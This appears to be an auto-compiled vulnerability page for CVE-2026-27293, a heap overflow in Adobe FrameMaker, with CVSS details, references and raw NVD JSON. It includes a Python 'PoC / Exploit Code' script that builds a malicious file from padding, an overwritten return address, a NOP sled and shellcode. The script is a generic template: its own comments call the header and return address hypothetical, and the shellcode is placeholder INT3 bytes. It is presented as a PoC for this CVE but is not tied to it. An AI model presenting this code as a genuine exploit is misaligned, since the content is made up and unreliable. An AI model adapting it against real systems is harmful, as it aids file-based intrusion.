CVE-2026-27293

Description

Adobe Framemaker versions 2022.8 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe Framemaker <= 2022.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# PoC for Adobe Framemaker Heap-based Buffer Overflow (CVE-2026-27293)
# This script generates a malicious file to trigger the vulnerability.
# Note: For educational and defensive testing purposes only.

def generate_malicious_file(filename):
    # Hypothetical header required by Framemaker
    header = b"\x4D\x46\x4D\x00" 
    
    # Padding to reach the overflow point
    padding = b"A" * 100
    
    # Payload: NOP sled + Shellcode placeholder
    nop_sled = b"\x90" * 32
    shellcode = b"\xCC" * 50 # Int3 for debugging
    
    # Return Address to overwrite EIP/RIP (hypothetical)
    ret_addr = struct.pack("<L", 0xdeadbeef) 
    
    # Constructing the overflow buffer
    overflow_buffer = header + padding + ret_addr + nop_sled + shellcode
    
    with open(filename, "wb") as f:
        f.write(overflow_buffer)
    print(f"[+] Malicious file '{filename}' generated successfully.")

if __name__ == "__main__":
    generate_malicious_file("exploit_framemaker.bin")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27293
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27293
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27293/
[4] VulDB https://vuldb.com/cve/CVE-2026-27293
[5] https://helpx.adobe.com/security/products/framemaker/apsb26-36.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27293", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:26.150", "lastModified": "2026-04-15T18:15:25.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Framemaker versions 2022.8 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "2022.9", "matchCriteriaId": "6943B816-3A7D-47BF-9E01-DF86C9332C19"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/framemaker/apsb26-36.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}